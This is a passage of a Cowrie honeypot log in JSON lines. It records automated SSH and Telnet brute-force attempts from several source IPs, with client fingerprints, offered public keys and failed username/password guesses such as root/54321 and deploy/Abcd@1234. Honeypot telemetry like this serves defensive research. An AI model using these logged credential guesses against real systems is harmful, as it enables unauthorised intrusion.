AAAAB3NzaC1yc2EAAAADAQABAAACAQDrFV+94+vTMWY9nrttn2I1eo4yTFk9DiL8yTM+OHyfjL95K8gIg3XT3JNtMcJv7C6N9jRXLkGS8tk1LIb6pnD5bahgfJoZgqWAkoKm1zdk4MRYUTTbDkyOD5MTtiqa90VdsGb+mT70PeSFdJBDScW9C13K3om2QcSk264sh/MV3sUVqyLWHHJKlC+yxavYaEMKclemv8c/vJkIL6AHrSuiSM/vF7xanNAnpCoQaIZDp65j1kXYixhCGaCjm2eCToEtdfOwo8vxPtuZ89+zUEvnqnqQQ9d6DUN3OJ2TaOo1anpTrL9DMSyIUQB/6rmhWorhESmKr90XU6qjspLqRPYc/amLKx/+YmojyFwaYc/GU/rR6E09brSusWDCjeqYTAQpXp4wFsIPrt9mJov7hq+M0szPJ1LXUJbdhlY9yvpqybuuoB9SRMvdtb9GktWOy744rSS2TKhfN3Pr5ce1uuVrR6NFt5mtCsNCTE2hskdLbqv0n99SSvWiIQNHNSkuFdC4CAi5XmMrE311hFfXZMeDrszfvE3Ty1nWlR56RSu8yb40pREgjOfyh2i81BNgw9Ce7If7agbnV0vO8amrDuZiQj1LZc/FplYS1bS5e1mibWSCDKJ8QUIpI+nJHsOaYfvd0i2cv7IVdwRgAzEgXy3HmkeZV9XjfnAlSURcdKWvqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.275235Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:14:7a:34:68:28:ba:f7:9f:77:54:ec:13:c5:95:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiUu2GfHHQXP0HZsj7TD3+6PiYEl+BJ4o3zJup5WJOxgFdxf1LrJoKztl+d8obY3sKd4+8GHmINoDGodAen3vEjT7oeS5KFy9W7xYdz2Jjry7bwwRpyOhZD3Wbn9X4sjTxd1z/2IaR+yLHb+p4CTzgSaDNcoJ144VVQBIA7HC47428sj37ioS/aqPZmVdrz1Ru2JTB8vemuPv/k9pxHiC181Kkg12z+aY0xyBb7rA8L4IWDKj37IfD6UL7YacYg5iAMBI7wEtCtCBYAAdOuSNLm9ZOeRydj2d2JzgpR/sZXHuex7HJ3KHDtmCDoX4kT5z4QEGoCHaytdZDukACJpRB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:14:7a:34:68:28:ba:f7:9f:77:54:ec:13:c5:95:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.359198Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:14:7a:34:68:28:ba:f7:9f:77:54:ec:13:c5:95:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiUu2GfHHQXP0HZsj7TD3+6PiYEl+BJ4o3zJup5WJOxgFdxf1LrJoKztl+d8obY3sKd4+8GHmINoDGodAen3vEjT7oeS5KFy9W7xYdz2Jjry7bwwRpyOhZD3Wbn9X4sjTxd1z/2IaR+yLHb+p4CTzgSaDNcoJ144VVQBIA7HC47428sj37ioS/aqPZmVdrz1Ru2JTB8vemuPv/k9pxHiC181Kkg12z+aY0xyBb7rA8L4IWDKj37IfD6UL7YacYg5iAMBI7wEtCtCBYAAdOuSNLm9ZOeRydj2d2JzgpR/sZXHuex7HJ3KHDtmCDoX4kT5z4QEGoCHaytdZDukACJpRB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.363310Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:d0:05:d2:31:28:5c:ef:46:d0:54:72:ab:41:88:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvMEPA2wcphfPXfwupy3YJ4l/rNIti2d6iGzuY1wJAigSEyaji1GBCJJTDC2oQpOlZ9Hq2AxNjE6N7UfPpQu6GYf5zQR4AqkvMDwH2StmOJDYhIDfH56m+8lIbXvkQD0R/RV4XFaYlEGYzs/L+158JnzgbsLIlVymWfVLJchOQKYhWIbjD1Ro7/q4TyHic3nIIPQbQ95phNsb6sVl30r6DVS7Tpy/fXZb8BpPgiNBFPam7il14Q2xfsMco0kdq5riRg6hTELDh4D+amuHGc2Y95RuZMPG0gqqVH4iKcAs8qnwPCqzJ4x66u3zISgzlYov4K5V7PhW1gdHxS0xRNjmLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:d0:05:d2:31:28:5c:ef:46:d0:54:72:ab:41:88:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.447011Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:d0:05:d2:31:28:5c:ef:46:d0:54:72:ab:41:88:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvMEPA2wcphfPXfwupy3YJ4l/rNIti2d6iGzuY1wJAigSEyaji1GBCJJTDC2oQpOlZ9Hq2AxNjE6N7UfPpQu6GYf5zQR4AqkvMDwH2StmOJDYhIDfH56m+8lIbXvkQD0R/RV4XFaYlEGYzs/L+158JnzgbsLIlVymWfVLJchOQKYhWIbjD1Ro7/q4TyHic3nIIPQbQ95phNsb6sVl30r6DVS7Tpy/fXZb8BpPgiNBFPam7il14Q2xfsMco0kdq5riRg6hTELDh4D+amuHGc2Y95RuZMPG0gqqVH4iKcAs8qnwPCqzJ4x66u3zISgzlYov4K5V7PhW1gdHxS0xRNjmLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.451088Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:c6:5d:a5:42:1e:65:df:25:bc:57:5c:7b:e2:ea:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdEgoNoYHweS7l5dEP5K2mcSIs262A51pAcyzswDX4In7tOdP27rrRvtyg+kEvjIPRu1/qXbSyaTuOaHrxFo32OrXkSBxbQEUMUmoNXBjRcSl9PNVIh5ffTz6PfrBNVJY6tQ9UeHjKGsSb8+ZJBNQgFs3/nfpR20BhGPLWocvm83FNIzV70hjOcGXVKrce6NeFn0ZAsLrhGOFUpkctwBqxsW2A8YWkXyKymn6ED3UUDeDMvLokySuTT7HozstNBPWQdh2lQ/2XBFmZo0VP8J+iNLRJG78d4qtGRi/A8LYIK5YzgQYErs/Ih1ANegwtEpmVyOZoYd9xouIK5bLRGIAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:c6:5d:a5:42:1e:65:df:25:bc:57:5c:7b:e2:ea:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.536926Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:c6:5d:a5:42:1e:65:df:25:bc:57:5c:7b:e2:ea:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdEgoNoYHweS7l5dEP5K2mcSIs262A51pAcyzswDX4In7tOdP27rrRvtyg+kEvjIPRu1/qXbSyaTuOaHrxFo32OrXkSBxbQEUMUmoNXBjRcSl9PNVIh5ffTz6PfrBNVJY6tQ9UeHjKGsSb8+ZJBNQgFs3/nfpR20BhGPLWocvm83FNIzV70hjOcGXVKrce6NeFn0ZAsLrhGOFUpkctwBqxsW2A8YWkXyKymn6ED3UUDeDMvLokySuTT7HozstNBPWQdh2lQ/2XBFmZo0VP8J+iNLRJG78d4qtGRi/A8LYIK5YzgQYErs/Ih1ANegwtEpmVyOZoYd9xouIK5bLRGIAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.541303Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:03.625941Z","src_ip":"198.20.104.207","session":"d16199c6eb18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4073ac846ad","protocol":"telnet","message":"New connection: 67.222.148.25:38130 (10.17.0.5:23) [session: b4073ac846ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:06.118370Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41024,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bc20b349e3b","protocol":"telnet","message":"New connection: 50.6.8.71:41024 (10.17.0.5:23) [session: 2bc20b349e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:11.520509Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"6429f3843bc6","protocol":"telnet","message":"New connection: 50.6.8.71:40788 (10.17.0.5:23) [session: 6429f3843bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:18.731950Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45698,"dst_ip":"10.17.0.5","dst_port":22,"session":"58526ae1eda2","protocol":"ssh","message":"New connection: 193.37.70.224:45698 (10.17.0.5:22) [session: 58526ae1eda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:18.876902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:18.881549Z","src_ip":"193.37.70.224","session":"58526ae1eda2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:18.971900Z","src_ip":"193.37.70.224","session":"58526ae1eda2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zidane","message":"login attempt [root/zidane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:19.240282Z","src_ip":"193.37.70.224","session":"58526ae1eda2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:20.332581Z","src_ip":"193.37.70.224","session":"58526ae1eda2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.95395350456238,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:23.987088Z","src_ip":"50.6.8.71","session":"194780521a13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":37434,"dst_ip":"10.17.0.5","dst_port":22,"session":"018db9994c4c","protocol":"ssh","message":"New connection: 37.233.85.71:37434 (10.17.0.5:22) [session: 018db9994c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:25.180383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:25.185554Z","src_ip":"37.233.85.71","session":"018db9994c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:25.295195Z","src_ip":"37.233.85.71","session":"018db9994c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:25.625330Z","src_ip":"37.233.85.71","session":"018db9994c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:26.738570Z","src_ip":"37.233.85.71","session":"018db9994c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":55378,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d663adba928","protocol":"ssh","message":"New connection: 87.106.29.151:55378 (159.203.135.109:22) [session: 8d663adba928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:37.045424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:37.050608Z","src_ip":"87.106.29.151","session":"8d663adba928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:37.149410Z","src_ip":"87.106.29.151","session":"8d663adba928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Abcd@1234","message":"login attempt [deploy/Abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:37.586008Z","src_ip":"87.106.29.151","session":"8d663adba928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:38.687160Z","src_ip":"87.106.29.151","session":"8d663adba928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.00191640853882,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:47.522284Z","src_ip":"50.6.8.71","session":"2bc20b349e3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.94282937049866,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:24:58.674666Z","src_ip":"50.6.8.71","session":"6429f3843bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":43992,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8737360140a","protocol":"ssh","message":"New connection: 103.77.242.62:43992 (10.17.0.5:22) [session: e8737360140a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:09.150923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:09.156634Z","src_ip":"103.77.242.62","session":"e8737360140a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:09.391843Z","src_ip":"103.77.242.62","session":"e8737360140a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54321","message":"login attempt [root/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:10.098330Z","src_ip":"103.77.242.62","session":"e8737360140a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:11.337409Z","src_ip":"103.77.242.62","session":"e8737360140a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34616,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb8131af862","protocol":"telnet","message":"New connection: 50.6.8.71:34616 (10.17.0.5:23) [session: ffb8131af862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:27.117592Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":54872,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a09f277ae6a","protocol":"ssh","message":"New connection: 87.106.29.151:54872 (159.203.135.109:22) [session: 1a09f277ae6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:39.207290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:39.215020Z","src_ip":"87.106.29.151","session":"1a09f277ae6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:39.312649Z","src_ip":"87.106.29.151","session":"1a09f277ae6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemadminuser","password":"babaprowarnight","message":"login attempt [systemadminuser/babaprowarnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:39.731627Z","src_ip":"87.106.29.151","session":"1a09f277ae6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:40.832083Z","src_ip":"87.106.29.151","session":"1a09f277ae6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39728,"dst_ip":"10.17.0.5","dst_port":23,"session":"84d26c3476df","protocol":"telnet","message":"New connection: 50.6.8.71:39728 (10.17.0.5:23) [session: 84d26c3476df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:25:51.293497Z"}
{"eventid":"cowrie.session.closed","duration":37.35822129249573,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:04.475699Z","src_ip":"50.6.8.71","session":"ffb8131af862","protocol":"telnet"}
